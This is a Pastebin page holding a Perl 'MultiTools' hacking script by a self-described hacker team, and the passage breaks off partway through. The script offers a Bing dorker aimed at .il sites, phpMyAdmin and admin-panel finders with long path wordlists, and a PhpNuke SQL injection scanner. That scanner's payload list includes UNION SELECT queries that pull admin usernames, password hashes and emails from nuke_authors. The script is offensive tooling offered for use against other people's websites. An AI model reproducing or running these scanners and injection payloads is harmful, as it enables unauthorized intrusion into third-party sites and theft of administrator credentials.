API tools faq
paste
1337_Brain

Multi Hacking Tools For Noob v-1.0.1

1337_Brain
Jul 5th, 2014
795
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 109.71 KB | None | 0 0
raw download clone embed print report
  1. #!/usr/bin/perl
  2. # Dev by 1337 Brain From Team-ECF
  3. # Gr33tz to Rip Pappu - Akbor Hossain - xeo-1337  - S!r 3zp1r3 - No PM - Force x Brain Crush - Red X - x pirate - Lazy Mind - Dreamer 1986
  4. use HTTP::Request;
  5. use LWP::UserAgent;
  6. use Digest::MD5;
  7. use MIME::Base64;
  8. use LWP::Simple;
  9. use IO::Socket;
  10. use HTTP::Request::Common;
  11. use Term::ANSIColor;
  12. use Win32::Console::ANSI;
  13. system('cls');
  14. system('title Scanner v1.0 by Team-ECF');
  15. print color("green"),"======================================================\n";
  16. print color("green"),"  MultiTools r1z <= 1.0.1 beta   \n";
  17. print color("green"),"    [#] Team-ECF [#]      \n";
  18. print color("red"), "   Coded by 1337 Brain                  \n";
  19. print color("green"), "======================================================\n";
  20. print color("green"),"[1] Joomla Scanner\n";
  21. print color("green"),"[2] Md5 Encoder\n";
  22. print color("green"), "[3] PhpMyAdmin finder\n";
  23. print color("green"), "[4] Admin Panel finder\n";
  24. print color("green"), "[5] Base64 Encoder\n";
  25. print color("green"), "[6] Base64 Decoder\n";
  26. print color("green"), "[7] PhpNuke Sql Scanner\n";
  27. print color("green"), "[8] Dorker Bing\n";
  28. print color("green"), "[9] About Us\n\n";
  29. print "[+] Choose Number : ";
  30. my $targett = <>;
  31. chomp $targett;
  32. if($targett eq '8')
  33. {
  34.  system('cls');
  35.  system('color a');
  36.  
  37. print q{
  38. +----------------------[Dorker bing]--------------------+
  39. |                                                       |
  40. |                     Edited By Team-ECF              |
  41. |                   result in done.txt                  |
  42. +-------------------------------------------------------+
  43.  
  44. };
  45. print "\nDork:";
  46. print "\n(Ex: index.php+site:.il )\n";
  47. print "=>";
  48.  $dork = <STDIN>;
  49.  chomp($dork);
  50.  
  51.  print "Scan Start!";
  52.  
  53.  for ($i = 0; $i < 1000; $i += 10) {
  54.  
  55.  $b = LWP::UserAgent->new(agent => 'Mozilla/4.8 [en] (Windows NT 6.0; U)');
  56.  $b->timeout(30);
  57.  $b->env_proxy;
  58.  $c = $b->get('http://www.bing.com/search?q=' . $dork . '&first=' . $i . '&FORM=PERE')->content;
  59.  $check = index($c, 'sb_pagN');
  60.  
  61.  while (1) {
  62.  $n = index($c, '<h3><a href="');
  63.  
  64.  if ($n == -1) {
  65.  last;
  66.  }
  67.  
  68.  print "$s\n";
  69.  $c = substr($c, $n + 13);
  70.  $s = substr($c, 0, index($c, '"'));
  71.  open (txt,">>done.txt");
  72.  print txt  $s,"\n";
  73.  close(txt);
  74.  
  75.  }
  76.  if ($check == -1) {
  77.  last;
  78.  }
  79.  }
  80.  print "Scan Finished!";
  81.  system("done.txt");
  82.  exit;
  83.  
  84. }
  85. if($targett eq '9')
  86. {
  87.  
  88.         system('cls');
  89.         system('title About Us');
  90.         print "
  91. \t
  92.  
  93. \t :::==== :::===== :::====  :::=======
  94. \t :::==== :::      :::  === ::: === ===
  95. \t  ===   ======   ======== === === ===
  96. \t  ===   ===      ===  === ===     ===
  97. \t  ===   ======== ===  === ===     ===
  98.                                    
  99. \t:::=======  :::====  :::===  :::==== :::====
  100. \t::: === === :::  === :::     :::==== :::  ===
  101. \t=== === === ===  ===  =====    ===   ========
  102. \t===     === ===  ===     ===   ===   ===  ===
  103. \t===     ===  ======  ======    ===   ===  ===
  104.    
  105.  
  106.     \n";
  107.       print "\tT00ls Dev by 1337 Brain\n";
  108.       print "\tFrom Team-ECF\n";
  109.       print "\tSpecial Greetz To All Member of Team-ECF\n";
  110.       print "\t[*] Do you want open Team-ECF (y/n) => ";
  111.       my $openit = <>;
  112.       chomp($openit);
  113.       if($openit eq "y")
  114.       {
  115.         system('start http://ecf.me/');
  116.       }
  117.       else
  118.       {
  119.         print "\t<----TeaM-ECF---->";
  120.       }
  121.  
  122. }
  123. if($targett eq '2')
  124. {
  125. system('cls');
  126. system('title Md5 Encoder');
  127.                                         {
  128.                                                 print " Md5 Encoder !!!!! \n";
  129.                                         print " Enter Your String:";
  130.                                         $md=<STDIN>;
  131.                                         chomp $md;
  132.                                         print Digest::MD5->md5_hex("$md")
  133.                                         }
  134. }
  135. if($targett eq '3')
  136. { #Script Coded By 1337 Brain (me :)
  137.         system('cls');
  138.         system('title PhpMyAdmin FInder');
  139. @pathh=('/phpMyAdmin/',
  140. '/phpmyadmin/',
  141. '/PMA/',
  142. '/pma/',
  143. '/admin/',
  144. '/dbadmin/',
  145. '/mysql/',
  146. '/myadmin/',
  147. '/phpmyadmin2/',
  148. '/phpMyAdmin2/',
  149. '/phpMyAdmin-2/',
  150. '/php-my-admin/',
  151. '/phpMyAdmin-2.2.3/',
  152. '/phpMyAdmin-2.2.6/',
  153. '/phpMyAdmin-2.5.1/',
  154. '/phpMyAdmin-2.5.4/',
  155. '/phpMyAdmin-2.5.5-rc1/',
  156. '/phpMyAdmin-2.5.5-rc2/',
  157. '/phpMyAdmin-2.5.5/',
  158. '/phpMyAdmin-2.5.5-pl1/',
  159. '/phpMyAdmin-2.5.6-rc1/',
  160. '/phpMyAdmin-2.5.6-rc2/',
  161. '/phpMyAdmin-2.5.6/',
  162. '/phpMyAdmin-2.5.7/',
  163. '/phpMyAdmin-2.5.7-pl1/',
  164. '/phpMyAdmin-2.6.0-alpha/',
  165. '/phpMyAdmin-2.6.0-alpha2/',
  166. '/phpMyAdmin-2.6.0-beta1/',
  167. '/phpMyAdmin-2.6.0-beta2/',
  168. '/phpMyAdmin-2.6.0-rc1/',
  169. '/phpMyAdmin-2.6.0-rc2/',
  170. '/phpMyAdmin-2.6.0-rc3/',
  171. '/phpMyAdmin-2.6.0/',
  172. '/phpMyAdmin-2.6.0-pl1/',
  173. '/phpMyAdmin-2.6.0-pl2/',
  174. '/phpMyAdmin-2.6.0-pl3/',
  175. '/phpMyAdmin-2.6.1-rc1/',
  176. '/phpMyAdmin-2.6.1-rc2/',
  177. '/phpMyAdmin-2.6.1/',
  178. '/phpMyAdmin-2.6.1-pl1/',
  179. '/phpMyAdmin-2.6.1-pl2/',
  180. '/phpMyAdmin-2.6.1-pl3/',
  181. '/phpMyAdmin-2.6.2-rc1/',
  182. '/phpMyAdmin-2.6.2-beta1/',
  183. '/phpMyAdmin-2.6.2-rc1/',
  184. '/phpMyAdmin-2.6.2/',
  185. '/phpMyAdmin-2.6.2-pl1/',
  186. '/phpMyAdmin-2.6.3/',
  187. '/phpMyAdmin-2.6.3-rc1/',
  188. '/phpMyAdmin-2.6.3/',
  189. '/phpMyAdmin-2.6.3-pl1/',
  190. '/phpMyAdmin-2.6.4-rc1/',
  191. '/phpMyAdmin-2.6.4-pl1/',
  192. '/phpMyAdmin-2.6.4-pl2/',
  193. '/phpMyAdmin-2.6.4-pl3/',
  194. '/phpMyAdmin-2.6.4-pl4/',
  195. '/phpMyAdmin-2.6.4/',
  196. '/phpMyAdmin-2.7.0-beta1/',
  197. '/phpMyAdmin-2.7.0-rc1/',
  198. '/phpMyAdmin-2.7.0-pl1/',
  199. '/phpMyAdmin-2.7.0-pl2/',
  200. '/phpMyAdmin-2.7.0/',
  201. '/phpMyAdmin-2.8.0-beta1/',
  202. '/phpMyAdmin-2.8.0-rc1/',
  203. '/phpMyAdmin-2.8.0-rc2/',
  204. '/phpMyAdmin-2.8.0/',
  205. '/phpMyAdmin-2.8.0.1/',
  206. '/phpMyAdmin-2.8.0.2/',
  207. '/phpMyAdmin-2.8.0.3/',
  208. '/phpMyAdmin-2.8.0.4/',
  209. '/phpMyAdmin-2.8.1-rc1/',
  210. '/phpMyAdmin-2.8.1/',
  211. '/phpMyAdmin-2.8.2/',
  212. '/sqlmanager/',
  213. '/mysqlmanager/',
  214. '/p/m/a/',
  215. '/PMA2005/',
  216. '/pma2005/',
  217. '/phpmanager/',
  218. '/php-myadmin/',
  219. '/phpmy-admin/',
  220. '/webadmin/',
  221. '/sqlweb/',
  222. '/websql/',
  223. '/webdb/',
  224. '/mysqladmin/',
  225. '/mysql-admin/',
  226. '/mya/',
  227. );
  228. print "PhpMyAdmin Finder !! :p \n";
  229. print "result in PhpMyadmin.txt \n";
  230. print "Enter Target:";
  231. my $trget = <>;
  232. chomp $trget;
  233. foreach $pathh(@pathh){
  234. my $URLll = $trget.$pathh;
  235. my $Source = get $URLll;
  236. die "Can not get $URLll" unless defined $URLll;
  237. if ($Source =~ /phpMyAdmin/ || /Welcome to phpMyAdmin/ || /Username/ || /Password/) { $Messageee ="PhpMyAdmin P4n3l F!nded";}
  238. else { $Messageee = "P4n3l Not F0und ";}
  239. print "$URLll     =>    $Messageee\n";
  240. print "\n \n \n \n \t \t \t \t FINISH ";
  241. open (TEXT, '>>PhpMyadmin.txt');
  242. print TEXT "\n$URLll   =>   $Messageee \n\n";
  243. close (TEXT);
  244. }
  245.  
  246. }
  247. if($targett eq '4')
  248. { #Script Original Coded By Tartou2
  249. system('cls');
  250. system('title Admin Panel Finder');
  251.         print " Enter Target \n";
  252. print" e.g.: www.target.co.il or www.target.co.il/path\n";
  253. print" --> ";
  254. $site=<STDIN>;
  255. chomp $site;
  256.  
  257. print "\n\n";
  258. print " Enter the coding language of the website \n";
  259. print" e.g.: asp, php, cfm, other\n";
  260. print" If you don't know the launguage used in the coding then simply type ** other ** \n";
  261. print"--> ";
  262. $code=<STDIN>;
  263. chomp($code);
  264.  
  265. if ( $site !~ /^http:/ ) {
  266. $site = 'http://' . $site;
  267. }
  268. if ( $site !~ /\/$/ ) {
  269. $site = $site . '/';
  270. }
  271. print "\n";
  272.  
  273. print "->The website: $site\n";
  274. print "->Source of the website: $code\n";
  275. print "->Scan of the admin control panel is progressing...\n\n\n";
  276.  
  277. if($code eq "asp"){
  278.  
  279. @path1=('_admin/','backoffice/','admin/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','panel-administracion/','instadmin/',
  280. 'memberadmin/','administratorlogin/','adm/','account.asp','admin/account.asp','admin/index.asp','admin/login.asp','admin/admin.asp',
  281. 'admin_area/admin.asp','admin_area/login.asp','admin/account.html','admin/index.html','admin/login.html','admin/admin.html',
  282. 'admin_area/admin.html','admin_area/login.html','admin_area/index.html','admin_area/index.asp','bb-admin/index.asp','bb-admin/login.asp','bb-admin/admin.asp',
  283. 'bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','admin/controlpanel.html','admin.html','admin/cp.html','cp.html',
  284. 'administrator/index.html','administrator/login.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html','moderator.html',
  285. 'moderator/login.html','moderator/admin.html','account.html','controlpanel.html','admincontrol.html','admin_login.html','panel-administracion/login.html',
  286. 'admin/home.asp','admin/controlpanel.asp','admin.asp','pages/admin/admin-login.asp','admin/admin-login.asp','admin-login.asp','admin/cp.asp','cp.asp',
  287. 'administrator/account.asp','administrator.asp','login.asp','modelsearch/login.asp','moderator.asp','moderator/login.asp','administrator/login.asp',
  288. 'moderator/admin.asp','controlpanel.asp','admin/account.html','adminpanel.html','webadmin.html','pages/admin/admin-login.html','admin/admin-login.html',
  289. 'webadmin/index.html','webadmin/admin.html','webadmin/login.html','user.asp','user.html','admincp/index.asp','admincp/login.asp','admincp/index.html',
  290. 'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','adminarea/index.html','adminarea/admin.html','adminarea/login.html',
  291. 'panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html','admin/admin_login.html',
  292. 'admincontrol/login.html','adm/index.html','adm.html','admincontrol.asp','admin/account.asp','adminpanel.asp','webadmin.asp','webadmin/index.asp',
  293. 'webadmin/admin.asp','webadmin/login.asp','admin/admin_login.asp','admin_login.asp','panel-administracion/login.asp','adminLogin.asp',
  294. 'admin/adminLogin.asp','home.asp','admin.asp','adminarea/index.asp','adminarea/admin.asp','adminarea/login.asp','admin-login.html',
  295. 'panel-administracion/index.asp','panel-administracion/admin.asp','modelsearch/index.asp','modelsearch/admin.asp','administrator/index.asp',
  296. 'admincontrol/login.asp','adm/admloginuser.asp','admloginuser.asp','admin2.asp','admin2/login.asp','admin2/index.asp','adm/index.asp',
  297. 'adm.asp','affiliate.asp','adm_auth.asp','memberadmin.asp','administratorlogin.asp','siteadmin/login.asp','siteadmin/index.asp','siteadmin/login.html'
  298. );
  299.  
  300. foreach $ways(@path1){
  301.  
  302. $final=$site.$ways;
  303.  
  304. my $req=HTTP::Request->new(GET=>$final);
  305. my $ua=LWP::UserAgent->new();
  306. $ua->timeout(30);
  307. my $response=$ua->request($req);
  308.  
  309. if($response->content =~ /Username/ ||
  310. $response->content =~ /Password/ ||
  311. $response->content =~ /username/ ||
  312. $response->content =~ /password/ ||
  313. $response->content =~ /USERNAME/ ||
  314. $response->content =~ /PASSWORD/ ||
  315. $response->content =~ /Senha/ ||
  316. $response->content =~ /senha/ ||
  317. $response->content =~ /Personal/ ||
  318. $response->content =~ /Usuario/ ||
  319. $response->content =~ /Clave/ ||
  320. $response->content =~ /Usager/ ||
  321. $response->content =~ /usager/ ||
  322. $response->content =~ /Sing/ ||
  323. $response->content =~ /passe/ ||
  324. $response->content =~ /P\/W/ ||
  325. $response->content =~ /Admin Password/
  326. ){
  327. print " \n [+] Found -> $final\n\n";
  328. print " \n The Login Page Finded \n\n Good Job \n\n";
  329. }else{
  330. print "[-] Not Found <- $final\n";
  331. }
  332. }
  333. }
  334.  
  335.  
  336.  
  337.  
  338.  
  339. # -------------------test cfm ---------------------------|
  340.  
  341.  
  342.  
  343.  
  344.  
  345.  
  346. if($code eq "cfm"){
  347.  
  348. @path1=('_admin/','backoffice/','admin/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','panel-administracion/','instadmin/',
  349. 'memberadmin/','administratorlogin/','adm/','account.cfm','admin/account.cfm','admin/index.cfm','admin/login.cfm','admin/admin.cfm',
  350. 'admin_area/admin.cfm','admin_area/login.cfm','admin/account.html','admin/index.html','admin/login.html','admin/admin.html',
  351. 'admin_area/admin.html','admin_area/login.html','admin_area/index.html','admin_area/index.cfm','bb-admin/index.cfm','bb-admin/login.cfm','bb-admin/admin.cfm',
  352. 'bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','admin/controlpanel.html','admin.html','admin/cp.html','cp.html',
  353. 'administrator/index.html','administrator/login.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html','moderator.html',
  354. 'moderator/login.html','moderator/admin.html','account.html','controlpanel.html','admincontrol.html','admin_login.html','panel-administracion/login.html',
  355. 'admin/home.cfm','admin/controlpanel.cfm','admin.cfm','pages/admin/admin-login.cfm','admin/admin-login.cfm','admin-login.cfm','admin/cp.cfm','cp.cfm',
  356. 'administrator/account.cfm','administrator.cfm','login.cfm','modelsearch/login.cfm','moderator.cfm','moderator/login.cfm','administrator/login.cfm',
  357. 'moderator/admin.cfm','controlpanel.cfm','admin/account.html','adminpanel.html','webadmin.html','pages/admin/admin-login.html','admin/admin-login.html',
  358. 'webadmin/index.html','webadmin/admin.html','webadmin/login.html','user.cfm','user.html','admincp/index.cfm','admincp/login.cfm','admincp/index.html',
  359. 'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','adminarea/index.html','adminarea/admin.html','adminarea/login.html',
  360. 'panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html','admin/admin_login.html',
  361. 'admincontrol/login.html','adm/index.html','adm.html','admincontrol.cfm','admin/account.cfm','adminpanel.cfm','webadmin.cfm','webadmin/index.cfm',
  362. 'webadmin/admin.cfm','webadmin/login.cfm','admin/admin_login.cfm','admin_login.cfm','panel-administracion/login.cfm','adminLogin.cfm',
  363. 'admin/adminLogin.cfm','home.cfm','admin.cfm','adminarea/index.cfm','adminarea/admin.cfm','adminarea/login.cfm','admin-login.html',
  364. 'panel-administracion/index.cfm','panel-administracion/admin.cfm','modelsearch/index.cfm','modelsearch/admin.cfm','administrator/index.cfm',
  365. 'admincontrol/login.cfm','adm/admloginuser.cfm','admloginuser.cfm','admin2.cfm','admin2/login.cfm','admin2/index.cfm','adm/index.cfm',
  366. 'adm.cfm','affiliate.cfm','adm_auth.cfm','memberadmin.cfm','administratorlogin.cfm','siteadmin/login.cfm','siteadmin/index.cfm','siteadmin/login.html'
  367. );
  368.  
  369. foreach $ways(@path1){
  370.  
  371. $final=$site.$ways;
  372.  
  373. my $req=HTTP::Request->new(GET=>$final);
  374. my $ua=LWP::UserAgent->new();
  375. $ua->timeout(30);
  376. my $response=$ua->request($req);
  377.  
  378. if($response->content =~ /Username/ ||
  379. $response->content =~ /Password/ ||
  380. $response->content =~ /username/ ||
  381. $response->content =~ /password/ ||
  382. $response->content =~ /USERNAME/ ||
  383. $response->content =~ /PASSWORD/ ||
  384. $response->content =~ /Senha/ ||
  385. $response->content =~ /senha/ ||
  386. $response->content =~ /Personal/ ||
  387. $response->content =~ /Usuario/ ||
  388. $response->content =~ /Clave/ ||
  389. $response->content =~ /Usager/ ||
  390. $response->content =~ /usager/ ||
  391. $response->content =~ /Sing/ ||
  392. $response->content =~ /passe/ ||
  393. $response->content =~ /P\/W/ ||
  394. $response->content =~ /Admin Password/
  395. ){
  396. print " \n [+] Found -> $final\n\n";
  397. print " \n The login Page Found \n\n Good Job \n\n";
  398. }else{
  399. print "[-] Not Found <- $final\n";
  400. }
  401. }
  402. }
  403.  
  404.  
  405.  
  406.  
  407.  
  408.  
  409. #--------------------------/test php-------------------------|
  410.  
  411.  
  412.  
  413. if($code eq "php"){
  414.  
  415. @path2=('_admin/','backoffice/','admin/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','panel-administracion/','instadmin/',
  416. 'memberadmin/','administratorlogin/','adm/','admin/account.php','admin/index.php','admin/login.php','admin/admin.php','admin/account.php',
  417. 'admin_area/admin.php','admin_area/login.php','siteadmin/login.php','siteadmin/index.php','siteadmin/login.html','admin/account.html','admin/index.html','admin/login.html','admin/admin.html',
  418. 'admin_area/index.php','bb-admin/index.php','bb-admin/login.php','bb-admin/admin.php','admin/home.php','admin_area/login.html','admin_area/index.html',
  419. 'admin/controlpanel.php','admin.php','admincp/index.asp','admincp/login.asp','admincp/index.html','admin/account.html','adminpanel.html','webadmin.html',
  420. 'webadmin/index.html','webadmin/admin.html','webadmin/login.html','admin/admin_login.html','admin_login.html','panel-administracion/login.html',
  421. 'admin/cp.php','cp.php','administrator/index.php','administrator/login.php','nsw/admin/login.php','webadmin/login.php','admin/admin_login.php','admin_login.php',
  422. 'administrator/account.php','administrator.php','admin_area/admin.html','pages/admin/admin-login.php','admin/admin-login.php','admin-login.php',
  423. 'bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','login.php','modelsearch/login.php','moderator.php','moderator/login.php',
  424. 'moderator/admin.php','account.php','pages/admin/admin-login.html','admin/admin-login.html','admin-login.html','controlpanel.php','admincontrol.php',
  425. 'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','rcjakar/admin/login.php','adminarea/index.html','adminarea/admin.html',
  426. 'webadmin.php','webadmin/index.php','webadmin/admin.php','admin/controlpanel.html','admin.html','admin/cp.html','cp.html','adminpanel.php','moderator.html',
  427. 'administrator/index.html','administrator/login.html','user.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html',
  428. 'moderator/login.html','adminarea/login.html','panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html',
  429. 'admincontrol/login.html','adm/index.html','adm.html','moderator/admin.html','user.php','account.html','controlpanel.html','admincontrol.html',
  430. 'panel-administracion/login.php','wp-login.php','adminLogin.php','admin/adminLogin.php','home.php','admin.php','adminarea/index.php',
  431. 'adminarea/admin.php','adminarea/login.php','panel-administracion/index.php','panel-administracion/admin.php','modelsearch/index.php',
  432. 'modelsearch/admin.php','admincontrol/login.php','adm/admloginuser.php','admloginuser.php','admin2.php','admin2/login.php','admin2/index.php',
  433. 'adm/index.php','adm.php','affiliate.php','adm_auth.php','memberadmin.php','administratorlogin.php'
  434. );
  435.  
  436. foreach $ways(@path2){
  437.  
  438. $final=$site.$ways;
  439.  
  440. my $req=HTTP::Request->new(GET=>$final);
  441. my $ua=LWP::UserAgent->new();
  442. $ua->timeout(30);
  443. my $response=$ua->request($req);
  444.  
  445. if($response->content =~ /Username/ ||
  446. $response->content =~ /Password/ ||
  447. $response->content =~ /username/ ||
  448. $response->content =~ /password/ ||
  449. $response->content =~ /USERNAME/ ||
  450. $response->content =~ /PASSWORD/ ||
  451. $response->content =~ /Senha/ ||
  452. $response->content =~ /senha/ ||
  453. $response->content =~ /Personal/ ||
  454. $response->content =~ /Usuario/ ||
  455. $response->content =~ /Clave/ ||
  456. $response->content =~ /Usager/ ||
  457. $response->content =~ /usager/ ||
  458. $response->content =~ /Sing/ ||
  459. $response->content =~ /passe/ ||
  460. $response->content =~ /P\/W/ ||
  461. $response->content =~ /Admin Password/
  462. ){
  463. print " \n [+] Found -> $final\n\n";
  464. print " \n  Login Page Finded \n\n Good :) \n\n";
  465. }else{
  466. print "[-] Not Found <- $final\n";
  467. }
  468. }
  469. }
  470.  
  471.  
  472.  
  473.  
  474.  
  475. # ----------------------- other ---------------------------|
  476.  
  477.  
  478.  
  479.  
  480.  
  481.  
  482. if($code eq "other"){
  483.  
  484. @path1=('_admin/','backoffice/','account.asp','account.cfm','account.html','account.php','acct_login/','adm.asp','adm.cfm','adm.html','adm.php','adm/','adm/admloginuser.asp','adm/admloginuser.cfm','adm/admloginuser.php','adm/index.asp','adm/index.cfm','adm/index.html','adm/index.php','adm_auth.asp','adm_auth.cfm','adm_auth.php','admin.asp','admin.cfm','admin.html','admin.php','admin/','admin/account.asp','admin/account.cfm','admin/account.html','admin/account.php','admin/admin.asp','admin/admin.cfm','admin/admin.html','admin/admin.php','admin/admin_login.asp','admin/admin_login.cfm','admin/admin_login.html','admin/admin_login.php','admin/adminLogin.asp','admin/admin-login.asp','admin/adminLogin.cfm','admin/admin-login.cfm','admin/adminLogin.html','admin/admin-login.html','admin/adminLogin.php','admin/admin-login.php','admin/controlpanel.asp','admin/controlpanel.cfm','admin/controlpanel.html','admin/controlpanel.php','admin/cp.asp','admin/cp.cfm','admin/cp.html','admin/cp.php','admin/home.asp','admin/home.cfm','admin/home.html','admin/home.php','admin/index.asp','admin/index.cfm','admin/index.html','admin/index.php','admin/login.asp','admin/login.cfm','admin/login.html','admin/login.php','admin_area/','admin_area/admin.asp','admin_area/admin.cfm','admin_area/admin.html','admin_area/admin.php','admin_area/index.asp','admin_area/index.cfm','admin_area/index.html','admin_area/index.php','admin_area/login.asp','admin_area/login.cfm','admin_area/login.html','admin_area/login.php','admin_login.asp','admin_login.cfm','admin_login.html','admin_login.php','admin1.asp','admin1.html','admin1.php','admin1/','admin2.asp','admin2.cfm','admin2.html','admin2.php','admin2/index.asp','admin2/index.cfm','admin2/index.php','admin2/login.asp','admin2/login.cfm','admin2/login.php','admin4_account/','admin4_colon/','adminarea/','adminarea/admin.asp','adminarea/admin.cfm','adminarea/admin.html','adminarea/admin.php','adminarea/index.asp','adminarea/index.cfm','adminarea/index.html','adminarea/index.php','adminarea/login.asp','adminarea/login.cfm','adminarea/login.html','adminarea/login.php','admincontrol.asp','admincontrol.cfm','admincontrol.html','admincontrol.php','admincontrol/login.asp','admincontrol/login.cfm','admincontrol/login.html','admincontrol/login.php','admincp/index.asp','admincp/index.cfm','admincp/index.html','admincp/login.asp','admincp/login.cfm','administer/','administr8.asp','administr8.html','administr8.php','administr8/','administratie/','administration.html','administration.php','administration/','administrator.asp','administrator.cfm','administrator.html','administrator.php','administrator/','administrator/account.asp','administrator/account.cfm','administrator/account.html','administrator/account.php','administrator/index.asp','administrator/index.cfm','administrator/index.html','administrator/index.php','administrator/login.asp','administrator/login.cfm','administrator/login.html','administrator/login.php','administratoraccounts/','administratorlogin.asp','administratorlogin.cfm','administratorlogin.php','administratorlogin/','administrators/','administrivia/','adminLogin.asp','admin-login.asp','adminLogin.cfm','admin-login.cfm','adminLogin.html','admin-login.html','adminLogin.php','admin-login.php','adminLogin/','adminpanel.asp','adminpanel.cfm','adminpanel.html','adminpanel.php','adminpro/','admins.asp','admins.html','admins.php','admins/','AdminTools/','admloginuser.asp','admloginuser.cfm','admloginuser.php','affiliate.asp','affiliate.cfm','affiliate.php','autologin/','banneradmin/','bbadmin/','bb-admin/','bb-admin/admin.asp','bb-admin/admin.cfm','bb-admin/admin.html','bb-admin/admin.php','bb-admin/index.asp','bb-admin/index.cfm','bb-admin/index.html','bb-admin/index.php','bb-admin/login.asp','bb-admin/login.cfm','bb-admin/login.html','bb-admin/login.php','bigadmin/','blogindex/','cadmins/','ccp14admin/','cmsadmin/','controlpanel.asp','controlpanel.cfm','controlpanel.html','controlpanel.php','controlpanel/','cp.asp','cp.cfm','cp.html','cp.php','cPanel/','cpanel_file/','customer_login/','database_administration/','directadmin/','dir-login/','ezsqliteadmin/','fileadmin.asp','fileadmin.html','fileadmin.php','fileadmin/','formslogin/','globes_admin/','home.asp','home.cfm','home.html','home.php','hpwebjetadmin/','Indy_admin/','instadmin/','irc-macadmin/','LiveUser_Admin/','login.asp','login.cfm','login.html','login.php','login_db/','login1/','loginflat/','login-redirect/','login-us/','logo_sysadmin/','Lotus_Domino_Admin/','macadmin/','manuallogin/','memberadmin.asp','memberadmin.cfm','memberadmin.php','memberadmin/','members/','memlogin/','meta_login/','modelsearch/admin.asp','modelsearch/admin.cfm','modelsearch/admin.html','modelsearch/admin.php','modelsearch/index.asp','modelsearch/index.cfm','modelsearch/index.html','modelsearch/index.php','modelsearch/login.asp','modelsearch/login.cfm','modelsearch/login.html','modelsearch/login.php','moderator.asp','moderator.cfm','moderator.html','moderator.php','moderator/','moderator/admin.asp','moderator/admin.cfm','moderator/admin.html','moderator/admin.php','moderator/login.asp','moderator/login.cfm','moderator/login.html','moderator/login.php','myadmin/','navSiteAdmin/','newsadmin/','nsw/admin/login.php','openvpnadmin/','pages/admin/admin-login.asp','pages/admin/admin-login.cfm','pages/admin/admin-login.html','pages/admin/admin-login.php','panel/','panel-administracion/','panel-administracion/admin.asp','panel-administracion/admin.cfm','panel-administracion/admin.html','panel-administracion/admin.php','panel-administracion/index.asp','panel-administracion/index.cfm','panel-administracion/index.html','panel-administracion/index.php','panel-administracion/login.asp','panel-administracion/login.cfm','panel-administracion/login.html','panel-administracion/login.php','pgadmin/','phpldapadmin/','phpmyadmin/','phppgadmin/','phpSQLiteAdmin/','platz_login/','power_user/','project-admins/','pureadmin/','radmind/','radmind-1/','rcjakar/admin/login.php','rcLogin/','Server.asp','Server.html','Server.php','server/','server_admin_small/','ServerAdministrator/','showlogin/','simpleLogin/','siteadmin/index.asp','siteadmin/index.cfm','siteadmin/index.php','siteadmin/login.asp','siteadmin/login.cfm','siteadmin/login.html','siteadmin/login.php','smblogin/','sql-admin/','ss_vms_admin_sm/','sshadmin/','staradmin/','sub-login/','Super-Admin/','support_login/','sysadmin.asp','sysadmin.html','sysadmin.php','sysadmin/','sys-admin/','SysAdmin2/','sysadmins/','system_administration/','system-administration/','typo3/','ur-admin.asp','ur-admin.html','ur-admin.php','ur-admin/','user.asp','user.html','user.php','useradmin/','UserLogin/','utility_login/','vadmind/','vmailadmin/','webadmin.asp','webadmin.cfm','webadmin.html','webadmin.php','WebAdmin/','webadmin/admin.asp','webadmin/admin.cfm','webadmin/admin.html','webadmin/admin.php','webadmin/index.asp','webadmin/index.cfm','webadmin/index.html','webadmin/index.php','webadmin/login.asp','webadmin/login.cfm','webadmin/login.html','webadmin/login.php','wizmysqladmin/','wp-admin/','wp-login.php','wp-login/','xlogin/','yonetici.asp','yonetici.html','yonetici.php','yonetim.asp','yonetim.html','yonetim.php','panel/?a=cp'
  485. );
  486.  
  487. foreach $ways(@path1){
  488.  
  489. $final=$site.$ways;
  490.  
  491. my $req=HTTP::Request->new(GET=>$final);
  492. my $ua=LWP::UserAgent->new();
  493. $ua->timeout(30);
  494. my $response=$ua->request($req);
  495.  
  496. if($response->content =~ /Username/ ||
  497. $response->content =~ /Password/ ||
  498. $response->content =~ /username/ ||
  499. $response->content =~ /password/ ||
  500. $response->content =~ /USERNAME/ ||
  501. $response->content =~ /PASSWORD/ ||
  502. $response->content =~ /Senha/ ||
  503. $response->content =~ /senha/ ||
  504. $response->content =~ /Personal/ ||
  505. $response->content =~ /Usuario/ ||
  506. $response->content =~ /Clave/ ||
  507. $response->content =~ /Usager/ ||
  508. $response->content =~ /usager/ ||
  509. $response->content =~ /Sing/ ||
  510. $response->content =~ /passe/ ||
  511. $response->content =~ /P\/W/ ||
  512. $response->content =~ /Admin Password/
  513. ){
  514. print " \n [+] Found -> $final\n\n";
  515. print " \n The Login Page Finded \n\n Good Job \n\n";
  516. }else{
  517. print "[-] Not Found <- $final\n";
  518. }
  519. }
  520. kill("STOP",NULL);
  521. }
  522. }
  523. if($targett eq '')
  524. {
  525. print "Usage: perl MultiTools.pl \n";
  526. exit(1);
  527. }
  528. if($targett eq '7')
  529. {
  530. @Nuke =("modules.php?name=Downloads&d_op=viewdownload&cid=59%20or%20cid=2",
  531.                         "modules.php?name=Reviews&rop=showcontent&id=-1%20UNION%20SELECT%200,0,aid,pwd,email,email,100,pwd,url,url,10000,name%20FROM%20nuke_authors/",
  532.                         "modules.php?name=Sections&op=viewarticle&artid=-1%20UNION%20SELECT%200,0,aid,pwd,0%20FROM%20nuke_authors",
